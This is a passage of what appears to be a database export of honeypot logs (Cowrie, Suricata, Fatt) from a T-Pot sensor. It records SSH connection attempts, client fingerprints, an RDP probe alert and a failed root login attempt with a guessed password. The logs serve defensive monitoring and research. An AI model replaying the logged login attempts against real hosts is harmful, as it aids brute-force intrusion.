"cowrie.session.connect", "message": "New connection: 23.97.240.235:40904 (192.168.176.2:22) [session: 94896cf83565]", "session": "94896cf83565", "@version": "1", "protocol": "ssh", "src_port": 40904, "dest_port": 22, "timestamp": "2021-09-20T12:14:43.796274Z", "@timestamp": "2021-09-20T12:14:43.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
36436	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:14:43.839065+03	2021-09-20 15:15:04.583689+03	{"_id": "rwYhA3wBvYTbRNuERmJ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "94896cf83565", "@version": "1", "timestamp": "2021-09-20T12:14:43.839065Z", "@timestamp": "2021-09-20T12:14:43.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
36437	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:14:44.111386+03	2021-09-20 15:15:04.584691+03	{"_id": "sAYhA3wBvYTbRNuERmJ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [root/123456as] failed", "session": "94896cf83565", "@version": "1", "password": "123456as", "username": "root", "timestamp": "2021-09-20T12:14:44.111386Z", "@timestamp": "2021-09-20T12:14:44.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
36438	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:14:45.157637+03	2021-09-20 15:15:04.58669+03	{"_id": "sgYhA3wBvYTbRNuESmJe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "94896cf83565", "@version": "1", "duration": 1.358891487121582, "timestamp": "2021-09-20T12:14:45.157637Z", "@timestamp": "2021-09-20T12:14:45.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
36439	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:41.391286+03	2021-09-20 15:15:04.58769+03	{"_id": "oAYhA3wBvYTbRNuEPGLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2326, "timestamp": "2021-09-20T12:14:41.391286", "@timestamp": "2021-09-20T12:14:41.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36441	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:14:43.838416+03	2021-09-20 15:15:04.589691+03	{"_id": "owYhA3wBvYTbRNuEQ2Ka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 446397345400353, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40904, "dest_port": 22, "timestamp": "2021-09-20T12:14:43.838416Z", "@timestamp": "2021-09-20T12:14:43.838Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
36442	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:43.800123+03	2021-09-20 15:15:04.59169+03	{"_id": "qwYhA3wBvYTbRNuERGLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40904, "timestamp": "2021-09-20T12:14:43.800123", "@timestamp": "2021-09-20T12:14:43.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36443	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:14:44.158622+03	2021-09-20 15:15:04.592691+03	{"_id": "rAYhA3wBvYTbRNuERmJ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ecb3ebdea952", "@version": "1", "duration": 2.7684531211853027, "timestamp": "2021-09-20T12:14:44.158622Z", "@timestamp": "2021-09-20T12:14:44.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36444	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:14:41.66836+03	2021-09-20 15:15:04.59469+03	{"_id": "nQYhA3wBvYTbRNuEOmK6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ecb3ebdea952", "@version": "1", "timestamp": "2021-09-20T12:14:41.668360Z", "@timestamp": "2021-09-20T12:14:41.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36445	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:14:41.668013+03	2021-09-20 15:15:04.596689+03	{"_id": "nwYhA3wBvYTbRNuEO2LI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 1526143533558613, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2326, "dest_port": 22, "timestamp": "2021-09-20T12:14:41.668013Z", "@timestamp": "2021-09-20T12:14:41.668Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36447	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:14:41.387466+03	2021-09-20 15:15:04.59869+03	{"_id": "mwYhA3wBvYTbRNuEOmK6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2326 (192.168.176.2:22) [session: ecb3ebdea952]", "session": "ecb3ebdea952", "@version": "1", "protocol": "ssh", "src_port": 2326, "dest_port": 22, "timestamp": "2021-09-20T12:14:41.387466Z", "@timestamp": "2021-09-20T12:14:41.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36448	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:14:43.799038+03	2021-09-20 15:15:04.600689+03	{"_id": "rgYhA3wBvYTbRNuERmJ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "94896cf83565", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:14:43.799038Z", "@timestamp": "2021-09-20T12:14:43.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
36449	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:15:07.278517+03	2021-09-20 15:30:02.2639+03	{"_id": "DAYhA3wBvYTbRNuEoGNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "dd36e02ec383", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:07.278517Z", "@timestamp": "2021-09-20T12:15:07.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36450	117.22.230.94	109.199.241.180	Suricata	2021-09-20 15:15:07.547184+03	2021-09-20 15:30:02.266869+03	{"_id": "DgYhA3wBvYTbRNuEoWNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1290689133090778, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2138, "dest_port": 22, "timestamp": "2021-09-20T12:15:07.547184Z", "@timestamp": "2021-09-20T12:15:07.547Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36451	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:15:08.007458+03	2021-09-20 15:30:02.268869+03	{"_id": "EAYhA3wBvYTbRNuEoWNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:07.655161+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 163185056022329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55571, "dest_port": 3389, "timestamp": "2021-09-20T12:15:08.007458Z", "@timestamp": "2021-09-20T12:15:08.007Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36452	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:07.570169+03	2021-09-20 15:30:02.27087+03	{"_id": "GwYhA3wBvYTbRNuEomOt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 26967, "timestamp": "2021-09-20T12:15:07.570169", "@timestamp": "2021-09-20T12:15:07.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36453	117.22.230.94	109.199.241.180	Fatt	2021-09-20 15:15:07.547675+03	2021-09-20 15:30:02.273868+03	{"_id": "GAYhA3wBvYTbRNuEomOt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2138, "dest_port": 22, "timestamp": "2021-09-20T12:15:07.547675", "@timestamp": "2021-09-20T12:15:07.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	